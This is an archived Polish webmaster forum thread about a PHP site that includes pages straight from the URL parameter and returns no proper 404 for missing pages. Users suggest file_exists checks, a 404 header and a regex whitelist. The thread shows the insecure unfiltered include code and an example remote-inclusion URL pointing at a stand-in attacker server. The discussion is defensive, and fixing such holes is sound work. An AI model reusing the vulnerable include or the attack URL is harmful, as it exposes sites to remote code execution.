Skocz do zawartości

[PHP]Wczytywanie podstron


holee

Rekomendowane odpowiedzi

Witam;

Postanowiłem Was poprosić o pomoc bo po ostatniej przebudowie strony Google nie chce wyindeksować starych, nie działających podstron.

Szkielet mojej strony opiera się na kodzie PHP:

if($_GET['id']!="") {
switch ($_GET['id']) {
	case $_GET['id']:
		include $_GET['id'].".php";
	break;
}
}
else
include 'main.php';

działa to na zasadzie, czy wczytuje plik którego nazwa znajdzie się w adresie, w sumie nic skomplikowanego. Ale problem jest, jak w linku znajdzie się nazwa pliku, którego na serwerze nie ma, wówczas nie pojawia się standardowa strona 404 tylko wczytuje się szablon strony i tam error że taka i taka strona nie istnieje - dlatego też Googiel nie chce ich wyindeksować.

Może podpowiecie mi jak ten problem rozwiązać ? Serwis mój opiera się w dużej części na mnogiej ilości podstron, dlatego też ich wypisywanie nie ma sensu.

Będę wdzięczny za wskazówki.

Pozdrawiam

Niedrogie wpisy w płatnych, zadbanych, długowiecznych katalogach (hurtem taniej - pisać na PW):

Odnośnik do komentarza
Udostępnij na innych stronach

Sproboj takie cos:

if($_GET['id']!="") {
   switch ($_GET['id']) {
       case $_GET['id']:
           include $_GET['id'].".php";
       break;
   }
else include '404.php';
}
else include 'main.php';

tak na szybko bez sprawdzania, jakby nie dzialalo to sie odezwij na PW to podesle Ci kod ktorego ja sam uzywam.

Odnośnik do komentarza
Udostępnij na innych stronach

Może podpowiecie mi jak ten problem rozwiązać ?
file_exists ?

Jakiś dziwny ten kod który podałeś, switch to chyba można pominąć?

Nie znam się na pozycjonowaniu, ja tu tylko zużywam transfer i miejsce w sql.

Roman Kluska ujawnia: nadchodzi INFLACYJNY ARMAGEDON!

 

Odnośnik do komentarza
Udostępnij na innych stronach

if($_GET['id']!="") {
switch ($_GET['id']) {
	case $_GET['id']:
		include $_GET['id'].".php";
	break;
}
}
else
include 'main.php';

Prosisz się o problemy, pisząc taki kod, zastanów się co będzie przy

https://twoja_strona/index.php?id=https://server_haxora/kod

Filtruj przekazywane dane, a gdy spełniają Twoje warunki dopiero wykonuj na nich operacje

Odnośnik do komentarza
Udostępnij na innych stronach

lukas22333, Twój kod nie działa bo niby skąd ten drugi else jak jest jedno if ?

Irek, próbowałem różnie, np:

if(file_exists($_GET['id'].".php")) {

if($_GET['id']!="") {
switch ($_GET['id']) {
	case $_GET['id']:
		include $_GET['id'].".php";
	break;
}
}
else
include 'main.php';
}

i nadal mam ten problem co miałem, error wczytuje się w szablonie.

NieW, w jaki sposób mogę filtrować te dane, rzeczywiście ten kod jet do bani tylko nie wiem jak go zmienić.

Pozdrawiam i dzięki za odpowiedzi.

Niedrogie wpisy w płatnych, zadbanych, długowiecznych katalogach (hurtem taniej - pisać na PW):

Odnośnik do komentarza
Udostępnij na innych stronach

if(!empty($_GET['id'])){
  if(file_exists($_GET['id'] . '.php') && $_GET['id'] != 'index'){
  include $_GET['id'] . '.php';
  }
  else{
  header('HTTP/1.0 404 Not Found');
  die('404 File not found');
  }
}
else
include 'main.php';
}

Proszę. Napisz jeszcze jakie wartości może przyjmować zmienna $_GET['id'] (np znaki a-z, cyfry, podkreślnik, myślnik. Znak slash (/) też?), przydałoby się filtrować zmienną $_GET['id'] wyrażeniem regularnym.

Skrypt chroniący zasoby serwera przed atakami botów exaBotDefender: https://docs.google.com/View?id=dgkd4pj4_0hfj5j4gx

Odnośnik do komentarza
Udostępnij na innych stronach

exa, Twój kod działa. Po wpisaniu ciągu znaków (takiego pliku nie ma na serwerze) dostaje komunikat "404 File not found" w szablonie, czy roboty G ten nagłówek 404 zauważą ?

A jeżeli chodzi o filtrowanie wyrażeniem regularnym, nazwy plików mają tylko znaki A-Z, a-z, 0-9, "_", "-". Więcej nie przewiduję.

Oczywiście dzięki wielkie za pomoc, bo po co ja zabezpieczam inne części strony skoro główny szablon jest zrypany ?

Pozdrawiam

Niedrogie wpisy w płatnych, zadbanych, długowiecznych katalogach (hurtem taniej - pisać na PW):

Odnośnik do komentarza
Udostępnij na innych stronach

czy roboty G ten nagłówek 404 zauważą ?

Tak, odpowiedzialny jest za to wysłany nagłówek header('HTTP/1.0 404 Not Found');, który zwraca błąd 404. Co więcej pod funkcją header możesz wstawić sobie całkowicie dowolną treść/komunikat. Tylko nie zapomnij na końcu użyć wyrażenia die; lub exit;, które przerwie działanie skryptu.

A jeżeli chodzi o filtrowanie wyrażeniem regularnym, nazwy plików mają tylko znaki A-Z, a-z, 0-9, "_", "-". Więcej nie przewiduję.

No to linię

   if(file_exists($_GET['id'] . '.php') && $_GET['id'] != 'index'){

zamień na taką:

   if(file_exists($_GET['id'] . '.php') && $_GET['id'] != 'index' && preg_match('/^([a-z\d\-_]+)$/i', $_GET['id']) ){

Zapobiegnie to używania parametru $_GET['id'] do poruszania się po katalogach nadrzędnych lub podkatalogach.

Skrypt chroniący zasoby serwera przed atakami botów exaBotDefender: https://docs.google.com/View?id=dgkd4pj4_0hfj5j4gx

Odnośnik do komentarza
Udostępnij na innych stronach

Holee lepiej rób kopie bezpieczeństwa :blink:

@Exa: Dobry kod, ale wyrażenie regularne powinno być przed file_exists, które obsługuje adresy URL. Bez zobaczenia kodu raczej nikt by na to nie wpadł ale w poprzedniej formie można tym łatwo zrobić DDOS.

if(preg_match('/^([a-z\d\-_]+)$/i', $_GET['id']) && file_exists($_GET['id'] . '.php') && $_GET['id'] != 'index' ){

Zapobiegnie to używania parametru $_GET['id'] do poruszania się po katalogach nadrzędnych lub podkatalogach

I wykonywaniu jakiegokolwiek kodu PHP z zewnętrznego serwera.

Odnośnik do komentarza
Udostępnij na innych stronach

Holee lepiej rób kopie bezpieczeństwa

Liczę na zdrowy rozsądek czytających :blink:

exa, wielkie ale to wielkie dzięki.

slawek22, również dziękuję.

Jakoś poczułem się bezpieczniej :)

Pozdrawiam i życzę miłego popołudnia, tym bardziej że pogoda sprzyja na spacer ;)

Niedrogie wpisy w płatnych, zadbanych, długowiecznych katalogach (hurtem taniej - pisać na PW):

Odnośnik do komentarza
Udostępnij na innych stronach

@Exa: Dobry kod, ale wyrażenie regularne powinno być przed file_exists, które obsługuje adresy URL. Bez zobaczenia kodu raczej nikt by na to nie wpadł ale w poprzedniej formie można tym łatwo zrobić DDOS.

Przeglądnij manual - https://pl.php.net/file_exists, http nie obsługuje stat(). Co najwyżej można użyć file_exists przy ftp, ale i tak nie wyobrażam sobie jak można w taki sposób zrobić atak DDOS. Wyrażenie regularne jest na końcu ze względu na "wydajność" (w tym przypadku to tylko niuans. Zakładam, że zmieniła się adresacja i jest dużo linków do niedziałających stron) :blink: .

Bezpieczniejsza wersja:

   if(strpos($_GET['id'], '/') === false && file_exists($_GET['id'] . '.php') && $_GET['id'] != 'index' && preg_match('/^([a-z\d\-_]+)$/i', $_GET['id']) ){

Skrypt chroniący zasoby serwera przed atakami botów exaBotDefender: https://docs.google.com/View?id=dgkd4pj4_0hfj5j4gx

Odnośnik do komentarza
Udostępnij na innych stronach

Pytanie co jest szybsze - regex czy file_exists, faktycznie możliwe, że fe.

Jak ubić serwer? Da się jedną maszyną przy praktycznie zerowych zasobach. Nie będę podawał instrukcji jak komuś ubić serwer wystarczy jak się przyjrzysz pewnym ograniczeniom modułu prefork w apache.

Odnośnik do komentarza
Udostępnij na innych stronach

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

  • Ostatnio przeglądający   0 użytkowników

    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Warunki użytkowania Polityka prywatności